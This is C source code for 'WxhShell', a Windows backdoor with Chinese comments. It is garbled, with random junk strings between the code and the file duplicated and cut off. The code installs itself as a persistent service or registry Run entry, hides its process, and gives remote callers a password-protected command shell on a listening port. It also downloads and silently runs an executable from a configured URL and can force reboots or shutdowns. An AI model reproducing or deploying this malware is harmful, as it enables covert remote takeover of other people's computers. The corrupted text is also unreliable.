5Hr[E1 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sg_O?.r g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9YAM#LBTWi NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *-6? hzv3F9.x if (!NtQueryInformationProcess) return 0; N0nj` "$r1$mBi hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @$oZ|ZkZ if(!hProcess) return 0; 0iF -}o ndqckT@93 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eIsT!V"7 )Z("O[ CloseHandle(hProcess); p=H3Q?HJ} s"q=2i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d @m\f if(hProcess==NULL) return 0; bf1)M>g,O 7 I@";d8~ HMODULE hMod; qIz}$%!A char procName[255]; *Z > unsigned long cbNeeded; 9j0o&Xn EsTB(9c? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mzz$`M1 f9a$$nb3` CloseHandle(hProcess); RtwUb(wn6 |U EC if(strstr(procName,"services")) return 1; // 以服务启动 "-P/jk f}2;N return 0; // 注册表启动 Je 31". } lY8`5Uz WtVf wC_ // 主模块 fgmSgG"b int StartWxhshell(LPSTR lpCmdLine) Dm^l?Z { #~S>K3( SOCKET wsl; 6Kp}_^|z BOOL val=TRUE; @`S.@^%7fO int port=0; w:Ra7ExP struct sockaddr_in door; iy}xICt Q(e{~
]* if(wscfg.ws_autoins) Install(); O5M2`6|As D#ZPq,f port=atoi(lpCmdLine); J+|/-{g -x{&an= if(port<=0) port=wscfg.ws_port; 6A?8tm/0 F\-Si!~oOz WSADATA data; lov%V*tL if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x9&p!&*&IT r%|A$=[Q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6}#"qqnx setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8ljuc5,J door.sin_family = AF_INET; uFo/s&6K door.sin_addr.s_addr = inet_addr("127.0.0.1"); kM;o0wi door.sin_port = htons(port); ('JKN"3 zqf[Z3 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o,*=$/or closesocket(wsl); x6v,lR return 1; p?kvW42/ } ^KbL
,T v%nP*i9 if(listen(wsl,2) == INVALID_SOCKET) { $''UlWK closesocket(wsl); 1x{kl01m% return 1; _C$X04bU3V } G,|KL" H6 Wxhshell(wsl); CdL.?^ WSACleanup(); ot }6D #1gO?N(<= return 0; ;{gT=,KQ` mf9hFy*<4 } Mg\TH./Y: *V DVC0R // 以NT服务方式启动 iZ "y7s VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lE'wfUb { )~dOmfw%| DWORD status = 0; PS}73Y# DWORD specificError = 0xfffffff; {OP~8e" 'yr{^Pek serviceStatus.dwServiceType = SERVICE_WIN32; ~b6GrY"vB serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?
|VysJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TF2KZL#A| serviceStatus.dwWin32ExitCode = 0; ve fU' serviceStatus.dwServiceSpecificExitCode = 0; n"Z |e tZ4 serviceStatus.dwCheckPoint = 0; Y{+3}drJE serviceStatus.dwWaitHint = 0; 9`Vc jT-<IJh!o hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V{ |[oIp if (hServiceStatusHandle==0) return; >
c:Zx! #c:kCZt# status = GetLastError(); E-SG8U; if (status!=NO_ERROR) `tVy_/3(9 { ,v7Q *3 serviceStatus.dwCurrentState = SERVICE_STOPPED; 9.s,:?5e serviceStatus.dwCheckPoint = 0; l9J*um- serviceStatus.dwWaitHint = 0; #U"1 9@|} serviceStatus.dwWin32ExitCode = status; NzlAC serviceStatus.dwServiceSpecificExitCode = specificError; Ao"C<.gUYP SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2y%R:Mu return; BIj } c\K<sM{ $>r5>6 serviceStatus.dwCurrentState = SERVICE_RUNNING; :)4*^a/lC serviceStatus.dwCheckPoint = 0; U&W"Ea=R/ serviceStatus.dwWaitHint = 0;
H=<LutnZ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F#|Z# Mu } RRzP*A%= f GarUV // 处理NT服务事件,比如:启动、停止 %b?uW]j: VOID WINAPI NTServiceHandler(DWORD fdwControl) th
2<o5 { b-%l-u switch(fdwControl) f^e&hyC
{ 8,*3zVk- case SERVICE_CONTROL_STOP: Q0>q:aj\ serviceStatus.dwWin32ExitCode = 0; 'RLOV serviceStatus.dwCurrentState = SERVICE_STOPPED; CXAVGO'xw serviceStatus.dwCheckPoint = 0; |}Ph"g2D, serviceStatus.dwWaitHint = 0; &,MFB { m\-PU z&C SetServiceStatus(hServiceStatusHandle, &serviceStatus); s)w9% } X<euD9? return; mb{q(WEPP case SERVICE_CONTROL_PAUSE: YgimJsm serviceStatus.dwCurrentState = SERVICE_PAUSED; ~ffwLgu!
break; Mudrg[@` case SERVICE_CONTROL_CONTINUE: {7X~!e|w serviceStatus.dwCurrentState = SERVICE_RUNNING; a+
GJVJ break; doLNz4W case SERVICE_CONTROL_INTERROGATE: wW5Yw
i break; i/$SN-5}1 }; ,YB1 y)x SetServiceStatus(hServiceStatusHandle, &serviceStatus); |^Kjz{ } 7I
>J$" @i1q]0 // 标准应用程序主函数 j^EbO3 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qm%nIU \* { >>7aw" 0 BY(
eV! // 获取操作系统版本 9)lZyE} OsIsNt=GetOsVer(); rQj~[Y.c GetModuleFileName(NULL,ExeFile,MAX_PATH); D=&K&6rr ?,XC=} // 从命令行安装 (>AFyh&3,X if(strpbrk(lpCmdLine,"iI")) Install(); Dbz]{_Y; 0roCP=; // 下载执行文件 QO,+ps< if(wscfg.ws_downexe) { Ac\W\=QvB if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <|H?gfM WinExec(wscfg.ws_filenam,SW_HIDE); m UgRm] } XTo8,'UaP E{>`MNj if(!OsIsNt) { *U_oao // 如果时win9x,隐藏进程并且设置为注册表启动 E474l HideProc(); l RND StartWxhshell(lpCmdLine); r/PKrw sC } !G+u j( else :-Wv>V\t if(StartFromService()) 8&.-]{Z // 以服务方式启动 GYoseqZM StartServiceCtrlDispatcher(DispatchTable); .'lN4x else 3dm'xetM // 普通方式启动 Ef,Cd[]b StartWxhshell(lpCmdLine); >FF1)~ [hHG. return 0; jVYH;B%%z } w+_Wc~f g^j7@dum Funj!x'uE j@ v-| ===========================================
TQ' e p;`N\.ld KB+]eI-h o](.368+4 m[8
@Unt /aOlYqM(> " C +@ i Pux)>q] C #include <stdio.h> @T7PZB&xnl #include <string.h> :e2X/tl# #include <windows.h> q"nGy#UWR #include <winsock2.h> zs8I #include <winsvc.h> v<&v]!nF #include <urlmon.h> sykFSPy`' sN]Z
#7 #pragma comment (lib, "Ws2_32.lib") rPO}6lsc #pragma comment (lib, "urlmon.lib") `qu]Pxk CQ> ]jQ,2 #define MAX_USER 100 // 最大客户端连接数 4B$bj`h #define BUF_SOCK 200 // sock buffer WG%2<Q^ #define KEY_BUFF 255 // 输入 buffer ,q</@}.\wN v#U pw\! #define REBOOT 0 // 重启 nh;y:Bi #define SHUTDOWN 1 // 关机 #r}uin*jD C #aFc01B #define DEF_PORT 5000 // 监听端口 SRWg[H -*3(a E #define REG_LEN 16 // 注册表键长度 \EI#az=I #define SVC_LEN 80 // NT服务名长度 "L@g3g?|` =4> @8=JA // 从dll定义API OX3Xy7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %?dE{ir typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e5OVq
, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q|//Z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ; )|nkI j_c+.iET // wxhshell配置信息 4 J8Dh;a` struct WSCFG { 5/(sjMB int ws_port; // 监听端口 a_%>CD${t char ws_passstr[REG_LEN]; // 口令 Q>%E`h int ws_autoins; // 安装标记, 1=yes 0=no o9+Q{|r char ws_regname[REG_LEN]; // 注册表键名 WZK
:.y char ws_svcname[REG_LEN]; // 服务名 }`]]b+_b>@ char ws_svcdisp[SVC_LEN]; // 服务显示名 ?O7iK<5N char ws_svcdesc[SVC_LEN]; // 服务描述信息 @_Sp3nWdu char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^ZVOql& int ws_downexe; // 下载执行标记, 1=yes 0=no ~`[8"YUL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vJThU$s- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?*+1~m> 3#mE(
`|P }; XtzOFx/ {u4i*udG`) // default Wxhshell configuration `^%@b SE( struct WSCFG wscfg={DEF_PORT, Tk](eQsy.v "xuhuanlingzhe", PUKVn+h 1, A:)sg!Lt "Wxhshell", ]bu9-X&T& "Wxhshell", JMePI%#8 "WxhShell Service", z Lw(@& "Wrsky Windows CmdShell Service", 6sy,A~e "Please Input Your Password: ", +f]u5p[ 1, qK-qcPLsl "http://www.wrsky.com/wxhshell.exe", L!vWRwZwC "Wxhshell.exe" W0?JVtq0Z }; |*1xrM:v~ r\RFDj // 消息定义模块 hXTYTbTX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q@Dkl
F char *msg_ws_prompt="\n\r? for help\n\r#>"; I4:rie\hjC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _.-#E$6s#q char *msg_ws_ext="\n\rExit."; N'a?wBBR
char *msg_ws_end="\n\rQuit."; tvCcyD%w char *msg_ws_boot="\n\rReboot..."; -R8/`M8GbD char *msg_ws_poff="\n\rShutdown..."; //tT8HX char *msg_ws_down="\n\rSave to "; #/s7\2 NfqJ=9 char *msg_ws_err="\n\rErr!"; B
G5X_s0/ char *msg_ws_ok="\n\rOK!"; /+29.1#| ]CIe~q char ExeFile[MAX_PATH]; E4Zxv* int nUser = 0; ?sE@]]z HANDLE handles[MAX_USER]; {83C,C- int OsIsNt; O!,Ca1N l.uN$B SERVICE_STATUS serviceStatus; 8=pv/o SERVICE_STATUS_HANDLE hServiceStatusHandle; R.O ?-S8yqe // 函数声明 wA1Ey:q int Install(void); 0}D-KvjyP int Uninstall(void); HoL~j( { int DownloadFile(char *sURL, SOCKET wsh); (H2ylMpQt int Boot(int flag); ~W3:xnBEk void HideProc(void); ;/R kMS int GetOsVer(void); LS{bg.e int Wxhshell(SOCKET wsl); 0W_mCV void TalkWithClient(void *cs); X*)?LxTj int CmdShell(SOCKET sock); "R8.P/ 3 int StartFromService(void);
}Zt.*% int StartWxhshell(LPSTR lpCmdLine); R)Q/Ff@o0 l[Tt[n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @wMQC\Z VOID WINAPI NTServiceHandler( DWORD fdwControl ); @Jm.HST#S8 {x9j_/R // 数据结构和表定义 Xout:dn SERVICE_TABLE_ENTRY DispatchTable[] = [.ey_}X8 { 2'Y{FY_Z {wscfg.ws_svcname, NTServiceMain}, PY2[S[ {NULL, NULL} dK`(BA{`3 }; 7oD
y7nV4 6N&|2: U // 自我安装 ovB=Zm int Install(void) Y}S.37|+^ { 3hH>U%`- char svExeFile[MAX_PATH]; hcQSB00D^ HKEY key; 9@Q&B+! strcpy(svExeFile,ExeFile); 1*L^^%w 3`xsK[ // 如果是win9x系统,修改注册表设为自启动 jmSt?M0.xV if(!OsIsNt) { z+ uL "PG[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }'PG!+=I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <r_3obRC RegCloseKey(key); p%tE v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jb7iBQ2% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `t%|.=R RegCloseKey(key); e~3]/BL return 0; @`5QG2 } KM 5jl9Vv } y2GQN:X } (X*'y*: else { R08&cd#$ p?}f|mQS) // 如果是NT以上系统,安装为系统服务 z1kBNOr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ) sRN!~ if (schSCManager!=0) j{)fC]8H { U&`6&$] SC_HANDLE schService = CreateService 5[nmP95YK ( Wux 0RF& schSCManager, zaH
5
Km_j wscfg.ws_svcname, :,jPNuOA wscfg.ws_svcdisp, 'J2ewW5 SERVICE_ALL_ACCESS, o1Ne+Jt SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =[ s8q2V SERVICE_AUTO_START, @51z-T SERVICE_ERROR_NORMAL, 33*^($bE& svExeFile, XMomFW_@ NULL, KuIkul9^% NULL, d8rBu jT NULL, GI}4,!^N NULL, Fs?( UM NULL nT_*EC<. ); F
~*zC`>Y if (schService!=0) p@vpd { O5ucI$s CloseServiceHandle(schService); u$ap H{ CloseServiceHandle(schSCManager); %B[YtWqm`/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :wFb5" strcat(svExeFile,wscfg.ws_svcname); ,?Ok[G!cm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TFNUv<>X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j[_t6Z RegCloseKey(key); WfRVv3Vm return 0; jMTRcj];( } 52da]BW< } uPI v/&HA CloseServiceHandle(schSCManager); K/!/M%GB6 } )gr}<}X)B } ,;9ak-$8p GVeL~Q return 1; 4s[`yV
} -)p@BtMS zB;'_[8M // 自我卸载 Tnf&pu#5 int Uninstall(void) MKV=m8G= { 2r
%>]y HKEY key; 9
aY'0wa ?$UH9T9) if(!OsIsNt) { S4;wa6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +G<}JJ'V RegDeleteValue(key,wscfg.ws_regname); >?^~s(t RegCloseKey(key); :uOZjEZi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J>><o:~@ RegDeleteValue(key,wscfg.ws_regname); _TtX`b_Z RegCloseKey(key); -b].SG5S return 0; 1R5Yn( }
s.|!Ti!] } xt?3_?1 } -kWO2 else { j kSc& kTr6{9L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -0{T if (schSCManager!=0) d1UVvyH { P
h9Hg' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oxUE79 if (schService!=0) &r&;<Q { V*~1,6N[ if(DeleteService(schService)!=0) { ,h3269$J CloseServiceHandle(schService); J@oEV=L CloseServiceHandle(schSCManager); ?R dmKA return 0; Mi;}.K0J } =6.8bZT\ CloseServiceHandle(schService); qlz( W } <FCj)CP% CloseServiceHandle(schSCManager); suA+8}o] } :({-0&&_ } }rO?5 yTzY? return 1; Ask' ! } |z.Gh1GCy $ \? N<W // 从指定url下载文件 x, G6\QmA int DownloadFile(char *sURL, SOCKET wsh) i}.{m Et { qzuQq94k HRESULT hr; pWWL{@ J char seps[]= "/"; %4?SY82 char *token; ZC3tbhV char *file; <m?GJuQ' char myURL[MAX_PATH]; *LY~l char myFILE[MAX_PATH]; L!CX& hB|H9+ strcpy(myURL,sURL); (%``EIc<8 token=strtok(myURL,seps); !7ei1 while(token!=NULL) ( rA\_FOJ { ^L>MZA
? file=token; #Tr;JAzVjG token=strtok(NULL,seps); ygmv_YLjm
} k! J4Z${k eXj\DjttG} GetCurrentDirectory(MAX_PATH,myFILE); \(.nPW]9 strcat(myFILE, "\\"); =gxgS<bde strcat(myFILE, file); 9oZ}
h& send(wsh,myFILE,strlen(myFILE),0); BSx j~pun send(wsh,"...",3,0); 1Z^`l6|2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4M;sD;3 if(hr==S_OK) tQNk=}VR7r return 0; Tns?mQ else [W^6u7~ return 1; o0,UXBx C><<0VhU } *(?U u=p ;A1oy // 系统电源模块 ET >S int Boot(int flag) w.4u=e >Z4 { \zk?$'d HANDLE hToken; :FX'[7;p TOKEN_PRIVILEGES tkp; +-Z"H) 3::3r}g if(OsIsNt) { DhtU]w} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h(C#\{V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {]t\`fjrg tkp.PrivilegeCount = 1; LK'S)Jk tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fhBO~o+K> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); viW~'}^k7 if(flag==REBOOT) { "D
ts* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *G%1_ return 0; !ol hZ } 4A\BGD*5 else { 9f\aoVX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bE7(L
$UF return 0; )LXoey!aZ } v`[Tl } e67c:Z else { AijPN if(flag==REBOOT) { "E@NZ*"u if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [
4?cM\_u@ return 0; 4*p_s8> > } 9%p7B ~}E else { !$:0E
y(S if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M iP[UCh return 0; SQO>}#qm } Bi9
N } <Um1h:^ fP^W"y return 1; C ?GvTc } Zd[y+$> 2.fyP"P
L // win9x进程隐藏模块 T[Z <bW~0 void HideProc(void) 2]of SdM { ,XWay%8{E HMEs8. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?G~/{m. if ( hKernel != NULL )
WrE-Zti { o1 hdO pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {#dp-5V ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8k+q7 FreeLibrary(hKernel); vh1
Ma<cx } (uuEjM$3% Pi&fwGL return; B|]t\(~$[ } ,(@Y%UW: Dg9--wI}I9 // 获取操作系统版本 ;Zx K3/(7 int GetOsVer(void) rQd1Ch { boC>N OSVERSIONINFO winfo; h3UZ|B0= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Gx(K N57D GetVersionEx(&winfo); wf~5lpI[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :,h=2a_ 8 return 1; {<-
ouD else Ak\D6eHcB return 0; <'>d0:>N } +BtLyQ yBYuDfeZ // 客户端句柄模块 )o
" SB1 int Wxhshell(SOCKET wsl) N27K { {a+Fx}W SOCKET wsh; bGMeBj"R struct sockaddr_in client; $4$?M[ DWORD myID; h8iaJqqvJ ~,1-$#R while(nUser<MAX_USER) CO:m]oj { bBeFL~ int nSize=sizeof(client); KV^:sxU wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^-e3=& if(wsh==INVALID_SOCKET) return 1; nK?k< DU*g~{8T$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .v
#0cQX+. if(handles[nUser]==0) 8T>3@kF closesocket(wsh); y]QQvCJr3d else M/8#&RycQ
nUser++; ,%)WT> } Azq#}Oe)u WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |k7ts&2 Q^1#xBd return 0; eu}:Wg2 } ,z0~mN ~L\( /[ // 关闭 socket gNEzlx8A void CloseIt(SOCKET wsh) H649J)v+m { evndw> closesocket(wsh); ^huBqEs nUser--; ^V XXq ExitThread(0); n7`.<*:
} Sq?6R}q% eSvc/ CU // 客户端请求句柄 ;4S
[ba1/ void TalkWithClient(void *cs) ?v )"%. { )<}VP&:X hIzPy3 SOCKET wsh=(SOCKET)cs; %~B)~|h char pwd[SVC_LEN]; Tg<>B char cmd[KEY_BUFF]; QRg"/62WCD char chr[1]; /\3XARt int i,j; `F-Dd4B \K_!d]I { while (nUser < MAX_USER) { T,xVQ4J? Ybn=Gy if(wscfg.ws_passstr) { VxPTh\O*[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y00i{/a 8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bAy5/G!_R //ZeroMemory(pwd,KEY_BUFF); ?VOs:sln i=0; nI|Lx`*v while(i<SVC_LEN) { HkfSx rTgQ QAOk // 设置超时 R+ #.bQg fd_set FdRead; YV ZSKU struct timeval TimeOut; Ow($\, FD_ZERO(&FdRead); qs8K jG@ FD_SET(wsh,&FdRead); Be14$7r TimeOut.tv_sec=8; J<5vs3[9 TimeOut.tv_usec=0; vUIK4uR. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @WDqP/4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X/;"CM R<0!?`b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qG2\`+v pwd=chr[0]; E3.W#=o if(chr[0]==0xd || chr[0]==0xa) { e~2*>5\: pwd=0; y?R <g^A break; .U(SkZ`6 } -fSKJo#}| i++; i/O,`2 }
&' Nk2{ $CQwBsYb= // 如果是非法用户,关闭 socket EbwZZSds1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (PT?h>|St } g6a3MJV` c J"]yG)= send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d,Dg"Z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z#cU#)`y1 7"CH\*% while(1) { ~RR_[t2Z EH!EyNNb ZeroMemory(cmd,KEY_BUFF); =VX<eV @=zBF'<.9 // 自动支持客户端 telnet标准 }~\].I6 j=0; ;uA_gn! while(j<KEY_BUFF) { B,VSFpPx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {;z
L[AgCg cmd[j]=chr[0]; h> 5~
(n8 if(chr[0]==0xa || chr[0]==0xd) { z_,]fd=o cmd[j]=0; !,(bXa\^ break; &_%+r5 } <2@<r
t{ j++; <hF~L k , } @9kk
f{? 8Jy1=R*S // 下载文件 \%4+mgiD if(strstr(cmd,"http://")) { :#&U95EC0 send(wsh,msg_ws_down,strlen(msg_ws_down),0); T=p}By3a if(DownloadFile(cmd,wsh)) 2S10j%EeI send(wsh,msg_ws_err,strlen(msg_ws_err),0); WCfe!P?g else 9:Z~}yX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tL4]6u } d[Fr else { HS&uQc a uF.\dY\xv switch(cmd[0]) { r0$9c T I7Ty+s // 帮助 /qQ2@k case '?': { 1.d9{LO [- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MPEBinE? break; Nxs%~wZ } ThQEQ6y // 安装 Ynh4oWUp case 'i': { uA}FuOE6 if(Install()) ?KuJs9SM send(wsh,msg_ws_err,strlen(msg_ws_err),0); [\M?8R$) else !
{o+B^^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PM?Ri^55<L break; KZ
>"L } tIy/QN_42 // 卸载 2mp>Mn~K^ case 'r': { E~O>m8hF if(Uninstall()) )I
UWM send(wsh,msg_ws_err,strlen(msg_ws_err),0); .N><yQ-j3' else |`D5XRVbi send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q@.9wEAJ break; _.8]7f`*Gc } ^l2d?v8 // 显示 wxhshell 所在路径 N{ z(|2{A# case 'p': { P :h4 char svExeFile[MAX_PATH]; (Gk]<`d#N strcpy(svExeFile,"\n\r"); G@I_6cE strcat(svExeFile,ExeFile); T^H ) lC#R send(wsh,svExeFile,strlen(svExeFile),0); X qva&/- break; U[ O!&:6 } ^EBM;&;7 // 重启 3UtXxL&L` case 'b': { y?4=u,{C send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p`.fYW:p if(Boot(REBOOT)) 2+Y`pz47W send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Ik
B/Xbw| else { .;v'oR1x5 closesocket(wsh); o>rlrqr?_ ExitThread(0); >33b@) } LUVJ218p break; {rJF)\2 } pC.P // 关机 YZtA:>;p case 'd': { CpdY)SMSL send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5<8>G?Y if(Boot(SHUTDOWN)) f2e$BA send(wsh,msg_ws_err,strlen(msg_ws_err),0); r|BKp,u9 else { {[y"]_B4 closesocket(wsh); w3|.4hS ExitThread(0); hfa_M[#Q- } ' g!_Flk break; NP`ll0s } ?B:wV?-` // 获取shell eOO*gM= case 's': { MP&4}De CmdShell(wsh); U~@B%Msb
L closesocket(wsh); Fm~}A4 ExitThread(0); mNB ]e5;N break; %z_b/yG } 5*'N Q010 // 退出 6 FxndR; case 'x': { KFG^vmrn send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e7AI&5Eg{ CloseIt(wsh); JV{!Ukuyp+ break; " yl"A4p
S } `X03Q[:q"[ // 离开 uXa}<=O case 'q': { R,Uy3N send(wsh,msg_ws_end,strlen(msg_ws_end),0); @!HMd{r closesocket(wsh); w|*G`~l09 WSACleanup(); T<,tC" exit(1); z9c=e46O break; *"L:"i`*$ } F9%VyQf } g[)hm`{? } 5W'|qmJ WZ-{K"56 // 提示信息 Ybiz]1d if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A^7Zy79 } Ev ,8? } Ekp
0.c8: 4nXS9RiF2 return; UsKn4Kh } pODo[Rkq 2;7GgO~ // shell模块句柄 S(s~4(o>8 int CmdShell(SOCKET sock) Z'M@DY/fdK { 2Ps`!Y5 STARTUPINFO si; GgZf6~b1J ZeroMemory(&si,sizeof(si)); \:28z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WuXRL}!\, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mw.aavB PROCESS_INFORMATION ProcessInfo; @D{[Hj`< char cmdline[]="cmd"; !-Q!/? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {D.0_=y~2 return 0; 45JLx?rN_ } +@v} ( 2xm?,p` // 自身启动模式 du)G)~ int StartFromService(void) ?%n9g)>Yej { v)pWx0l= typedef struct #>NZN1 { 1S@k=EKM DWORD ExitStatus; (G'ddZAJV DWORD PebBaseAddress; ,urkd~ DWORD AffinityMask; +T;qvx6 DWORD BasePriority; ]c+'SJQ ULONG UniqueProcessId; Kwau:_B ULONG InheritedFromUniqueProcessId; ~qxc!k!w4 } PROCESS_BASIC_INFORMATION; 8\_,Y
ji "FD~XSRL PROCNTQSIP NtQueryInformationProcess; Ctx K{: j
KK48S static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^jC0S[csw2 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ovVU%2o1b }RK9Onh3G HANDLE hProcess; RH'R6 PROCESS_BASIC_INFORMATION pbi; {$.{VE+v5 Etk<`GRfA HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I<#kw)W! if(NULL == hInst ) return 0; '1*MiFxKq Dne&YVF9V g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rbWFq|(_ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EaL+}/q& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u^9,u/gj 81g0oVv if (!NtQueryInformationProcess) return 0; vsR&1hs {)xrg sB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;T(^riAEl if(!hProcess) return 0; b`=rd 4cpU 9bvd1bKEW if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kep?=9r4+ Rh^$0Q*2 CloseHandle(hProcess); 2|EoP-K7 5lbh
"m= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fA5#
2P{ if(hProcess==NULL) return 0; %vzpp\t O%{>Zo_< |